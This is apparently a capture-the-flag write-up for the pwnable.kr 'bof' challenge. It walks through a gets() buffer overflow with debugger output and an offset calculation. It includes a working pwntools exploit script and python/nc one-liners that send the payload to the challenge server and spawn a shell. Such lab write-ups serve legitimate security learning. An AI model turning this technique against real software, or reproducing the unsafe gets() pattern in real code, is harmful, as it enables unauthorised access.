pwnable.kr - bof
Given two files to download
Lets list our files,
ra@moni~/P/p/bof> ls -la
total 24
drwxrwxr-x 2 ra ra 4096 Jun 2 16:08 ./
drwxrwxr-x 5 ra ra 4096 Jun 2 16:04 ../
-rw-rw-r-- 1 ra ra 7348 Jun 2 16:08 bof
-rw-rw-r-- 1 ra ra 308 Jun 2 16:08 bof.c
-rw-rw-r-- 1 ra ra 126 Jun 2 16:09 bof.md
Lets check our binary file type using file
command
ra@moni~/P/p/bof> file bof
bof: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=ed643dfe8d026b7238d3033b0d0bcc499504f273, not stripped
The source code of the binary file is,
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
Now lets try playing with our binary,
ra@moni~/P/p/bof> ./bof
fish: The file “./bof” is not executable by this user
ra@moni~/P/p/bof> chmod +x bof
ra@moni~/P/p/bof> ./bof
overflow me :
deadbeef
Nah..
So, it is expecting some different input from us
Lets observe the given binary,
-
It has two functions
main()
andfunc()
-
main()
only callsfunc()
-
The flow of whole binary depends on
func()
-
The
func()
checks thekey
value -
If
key
is equal to0xcafebabe
then it spwans a shell -
Else it displays an error message
-
But, already
func()
is loaded withkey
inmain()
likefunc(0xdeadbeef)
So we have to perform a “OVERFLOW”
Our binary uses gets()
from #include <string.h>
It is possible to perform “BUFFER OVERFLOW” on gets()
, since it is a vulnerable function
Lets try to crash our program,
ra@moni~/P/p/bof> ./bof
overflow me :
AAAAAAAAAAAAAAAAAAAAAAAAAAA
Nah..
ra@moni~/P/p/bof> ./bof
overflow me :
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Nah..
*** stack smashing detected ***: terminated
fish: “./bof” terminated by signal SIGABRT (Abort)
So we can perform “OVERFLOW” in this binary
Lets check the security mitigations of this binary,
ra@moni~/P/p/bof> checksec ./bof
[*] '/home/ra/PWNPractice/pwnable.kr/bof/bof'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Lets disassemble our program using debugger
Disassembling main()
pwndbg> disassemble main
Dump of assembler code for function main:
0x0000068a <+0>: push ebp
0x0000068b <+1>: mov ebp,esp
0x0000068d <+3>: and esp,0xfffffff0
0x00000690 <+6>: sub esp,0x10
0x00000693 <+9>: mov DWORD PTR [esp],0xdeadbeef
0x0000069a <+16>: call 0x62c <func>
0x0000069f <+21>: mov eax,0x0
0x000006a4 <+26>: leave
0x000006a5 <+27>: ret
End of assembler dump.
Disassembling func()
pwndbg> disassemble func
Dump of assembler code for function func:
0x0000062c <+0>: push ebp
0x0000062d <+1>: mov ebp,esp
0x0000062f <+3>: sub esp,0x48
0x00000632 <+6>: mov eax,gs:0x14
0x00000638 <+12>: mov DWORD PTR [ebp-0xc],eax
0x0000063b <+15>: xor eax,eax
0x0000063d <+17>: mov DWORD PTR [esp],0x78c
0x00000644 <+24>: call 0x645 <func+25>
0x00000649 <+29>: lea eax,[ebp-0x2c]
0x0000064c <+32>: mov DWORD PTR [esp],eax
0x0000064f <+35>: call 0x650 <func+36>
0x00000654 <+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe
0x0000065b <+47>: jne 0x66b <func+63>
0x0000065d <+49>: mov DWORD PTR [esp],0x79b
0x00000664 <+56>: call 0x665 <func+57>
0x00000669 <+61>: jmp 0x677 <func+75>
0x0000066b <+63>: mov DWORD PTR [esp],0x7a3
0x00000672 <+70>: call 0x673 <func+71>
0x00000677 <+75>: mov eax,DWORD PTR [ebp-0xc]
0x0000067a <+78>: xor eax,DWORD PTR gs:0x14
0x00000681 <+85>: je 0x688 <func+92>
0x00000683 <+87>: call 0x684 <func+88>
0x00000688 <+92>: leave
0x00000689 <+93>: ret
End of assembler dump.
Now, here is the interesting part in this func()
function
0x00000654 <+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe
So the value 0xdeadbeef
will be in the stack memory, we just need to replace the value with 0xcafebabe
by overflow
So lets test it with some dummy input and find the offset of 0xdeadbeef
from overflowme
Lets set the breakpoints and pass inputs to analyze,
Go for main()
first,
pwndbg> disassemble main
Dump of assembler code for function main:
0x0000068a <+0>: push ebp
0x0000068b <+1>: mov ebp,esp
0x0000068d <+3>: and esp,0xfffffff0
0x00000690 <+6>: sub esp,0x10
0x00000693 <+9>: mov DWORD PTR [esp],0xdeadbeef
0x0000069a <+16>: call 0x62c <func>
0x0000069f <+21>: mov eax,0x0
0x000006a4 <+26>: leave
0x000006a5 <+27>: ret
End of assembler dump.
pwndbg> b *main
Breakpoint 1 at 0x68a
Now start the program,
pwndbg> r
Starting program: /home/ra/PWNPractice/pwnable.kr/bof/bof
Breakpoint 1, 0x5655568a in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────
EAX 0xf7fa9808 (environ) —▸ 0xffffd89c —▸ 0xffffda4e ◂— 'ALACRITTY_LOG=/tmp/Alacritty-34408.log'
EBX 0x0
ECX 0x8e86f40a
EDX 0xffffd824 ◂— 0x0
EDI 0xf7fa7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
ESI 0xf7fa7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
EBP 0x0
ESP 0xffffd7fc —▸ 0xf7ddaee5 (__libc_start_main+245) ◂— add esp, 0x10
EIP 0x5655568a (main) ◂— push ebp
─────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────
► 0x5655568a <main> push ebp
0x5655568b <main+1> mov ebp, esp
0x5655568d <main+3> and esp, 0xfffffff0
0x56555690 <main+6> sub esp, 0x10
0x56555693 <main+9> mov dword ptr [esp], 0xdeadbeef
0x5655569a <main+16> call func <func>
0x5655569f <main+21> mov eax, 0
0x565556a4 <main+26> leave
0x565556a5 <main+27> ret
0x565556a6 nop
0x565556a7 nop
─────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────
00:0000│ esp 0xffffd7fc —▸ 0xf7ddaee5 (__libc_start_main+245) ◂— add esp, 0x10
01:0004│ 0xffffd800 ◂— 0x1
02:0008│ 0xffffd804 —▸ 0xffffd894 —▸ 0xffffda26 ◂— '/home/ra/PWNPractice/pwnable.kr/bof/bof'
03:000c│ 0xffffd808 —▸ 0xffffd89c —▸ 0xffffda4e ◂— 'ALACRITTY_LOG=/tmp/Alacritty-34408.log'
04:0010│ 0xffffd80c —▸ 0xffffd824 ◂— 0x0
05:0014│ 0xffffd810 —▸ 0xf7fa7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
06:0018│ 0xffffd814 ◂— 0x0
07:001c│ 0xffffd818 —▸ 0xffffd878 —▸ 0xffffd894 —▸ 0xffffda26 ◂— '/home/ra/PWNPractice/pwnable.kr/bof/bof'
───────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────
► f 0 0x5655568a main
f 1 0xf7ddaee5 __libc_start_main+245
────────────────────────────────────────────────────────────────────────────────────────────────────
After running the program,
pwndbg> disassemble func
Dump of assembler code for function func:
0x5655562c <+0>: push ebp
0x5655562d <+1>: mov ebp,esp
0x5655562f <+3>: sub esp,0x48
0x56555632 <+6>: mov eax,gs:0x14
0x56555638 <+12>: mov DWORD PTR [ebp-0xc],eax
0x5655563b <+15>: xor eax,eax
0x5655563d <+17>: mov DWORD PTR [esp],0x5655578c
0x56555644 <+24>: call 0xf7e2dcd0 <__GI__IO_puts>
0x56555649 <+29>: lea eax,[ebp-0x2c]
0x5655564c <+32>: mov DWORD PTR [esp],eax
0x5655564f <+35>: call 0xf7e2d1b0 <_IO_gets>
0x56555654 <+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe
0x5655565b <+47>: jne 0x5655566b <func+63>
0x5655565d <+49>: mov DWORD PTR [esp],0x5655579b
0x56555664 <+56>: call 0xf7e01830 <__libc_system>
0x56555669 <+61>: jmp 0x56555677 <func+75>
0x5655566b <+63>: mov DWORD PTR [esp],0x565557a3
0x56555672 <+70>: call 0xf7e2dcd0 <__GI__IO_puts>
0x56555677 <+75>: mov eax,DWORD PTR [ebp-0xc]
0x5655567a <+78>: xor eax,DWORD PTR gs:0x14
0x56555681 <+85>: je 0x56555688 <func+92>
0x56555683 <+87>: call 0xf7ed44e0 <__stack_chk_fail>
0x56555688 <+92>: leave
0x56555689 <+93>: ret
End of assembler dump.
pwndbg> b *0x56555654
Breakpoint 2 at 0x56555654
Now lets continue our program, until the “compare logic”
Lets pass our inputs,
pwndbg> c
Continuing.
overflow me :
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 2, 0x56555654 in func ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────
*EAX 0xffffd7ac ◂— 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
EBX 0x0
*ECX 0xf7fa7580 (_IO_2_1_stdin_) ◂— 0xfbad2288
*EDX 0xffffd7df ◂— 0xadbeef00
EDI 0xf7fa7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
ESI 0xf7fa7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
*EBP 0xffffd7d8 ◂— 'AAAAAAA'
*ESP 0xffffd790 —▸ 0xffffd7ac ◂— 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
*EIP 0x56555654 (func+40) ◂— cmp dword ptr [ebp + 8], 0xcafebabe
─────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────
► 0x56555654 <func+40> cmp dword ptr [ebp + 8], 0xcafebabe
0x5655565b <func+47> jne func+63 <func+63>
↓
0x5655566b <func+63> mov dword ptr [esp], 0x565557a3
0x56555672 <func+70> call puts <puts>
0x56555677 <func+75> mov eax, dword ptr [ebp - 0xc]
0x5655567a <func+78> xor eax, dword ptr gs:[0x14]
0x56555681 <func+85> je func+92 <func+92>
0x56555683 <func+87> call __stack_chk_fail <__stack_chk_fail>
0x56555688 <func+92> leave
0x56555689 <func+93> ret
0x5655568a <main> push ebp
─────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────
00:0000│ esp 0xffffd790 —▸ 0xffffd7ac ◂— 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
01:0004│ 0xffffd794 ◂— 0x534
02:0008│ 0xffffd798 ◂— 0x9e
03:000c│ 0xffffd79c —▸ 0xf7fa5a80 (__dso_handle) ◂— 0xf7fa5a80
04:0010│ 0xffffd7a0 ◂— 0x0
05:0014│ 0xffffd7a4 —▸ 0xf7fa7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
06:0018│ 0xffffd7a8 —▸ 0xf7ffc7e0 (_rtld_global_ro) ◂— 0x0
07:001c│ eax 0xffffd7ac ◂— 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
───────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────
► f 0 0x56555654 func+40
f 1 0x414141
f 2 0xdeadbeef
f 3 0x0
────────────────────────────────────────────────────────────────────────────────────────────────────
Lets view our stack values in memory,
pwndbg> x/50wx $esp
0xffffd790: 0xffffd7ac 0x00000534 0x0000009e 0xf7fa5a80
0xffffd7a0: 0x00000000 0xf7fa7000 0xf7ffc7e0 0x41414141
0xffffd7b0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd7c0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd7d0: 0x41414141 0x41414141 0x41414141 0x00414141
0xffffd7e0: 0xdeadbeef 0x00000000 0x565556b9 0x00000000
0xffffd7f0: 0xf7fa7000 0xf7fa7000 0x00000000 0xf7ddaee5
0xffffd800: 0x00000001 0xffffd894 0xffffd89c 0xffffd824
0xffffd810: 0xf7fa7000 0x00000000 0xffffd878 0x00000000
0xffffd820: 0xf7ffd000 0x00000000 0xf7fa7000 0xf7fa7000
0xffffd830: 0x00000000 0x8e7f65c4 0xca9223d4 0x00000000
0xffffd840: 0x00000000 0x00000000 0x00000001 0x56555530
0xffffd850: 0x00000000 0xf7fe7b24
We can clearly see that,
0xffffd7e0
has 0xdeadbeef
Our buffer starts after 0xffffd7a0
+ 12 bytes
= 0xffffd7ab
Lets find the offset of the 0xdeadbeef
data,
Offset distance can be given by,
```c
>>> hex(0xffffd7e0-0xffffd7ac)
'0x34'
>>> print(0x34)
52
So 0xdeadbeef
comes after 52 bytes of buffer
If we can overwrite 0xdeadbeef
with 0xcafebabe
, a shell will be opened
Now, lets try to exploit the program locally using pwntools
ra@moni~/P/p/bof> cat exploit.py
#!/usr/bin/python
from pwn import *
buf=""
buf+="A"*52
buf+=p32(0xcafebabe)
host="128.61.240.205"
port=9000
#p=remote(host,port)
p=process('./bof')
p.send(buf)
p.interactive()
By running this exploit
ra@moni~/P/p/bof> python exploit.py
[+] Starting local process './bof': pid 36634
[*] Switching to interactive mode
$
$ whoami
ra
$
[*] Interrupted
[*] Stopped process './bof' (pid 36634)
Other way to exploit by piping,
ra@moni:~/PWNPractice/pwnable.kr/bof$ (python -c "print('A'*52+'\xbe\xba\xfe\xca')";cat) | ./bof
overflow me :
whoami
ra
ls
bof bof.c bof.md exploit.py
echo "OVERFLOW"
OVERFLOW
Now lets try to exploit this on server,
ra@moni:~/PWNPractice/pwnable.kr/bof$ python -c "print('A'*52+'\xbe\xba\xfe\xca')" > exploitdata
ra@moni:~/PWNPractice/pwnable.kr/bof$ cat exploitdata
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�
ra@moni:~/PWNPractice/pwnable.kr/bof$ ^C
ra@moni:~/PWNPractice/pwnable.kr/bof$ (cat exploitdata ;cat) | ./bof
overflow me :
ls
bof bof.c bof.md exploitdata exploit.py
^C*** stack smashing detected ***: terminated
Aborted (core dumped)
ra@moni:~/PWNPractice/pwnable.kr/bof$
Now lets try it,
ra@moni:~/PWNPractice/pwnable.kr/bof$ (cat exploitdata ;cat)| nc 128.61.240.205 9000
overflow me :
whoami
bof
cat flag
daddy, I just pwned a buFFer :)
Lets do with pwntools
ra@moni~/P/p/bof> cat exploit.py
#!/usr/bin/python
from pwn import *
buf=""
buf+="A"*52
buf+=p32(0xcafebabe)
host="128.61.240.205"
port=9000
p=remote(host,port)
#p=process('./bof')
p.send(buf)
p.interactive()
Trying it,
ra@moni~/P/p/bof> python3 test.py
[+] Opening connection to 128.61.240.205 on port 9000: Done
[*] Switching to interactive mode
$ whoami
$ whoami
bof
$ cat flag
daddy, I just pwned a buFFer :)
Done! we got the flag
Flag: daddy, I just pwned a buFFer :)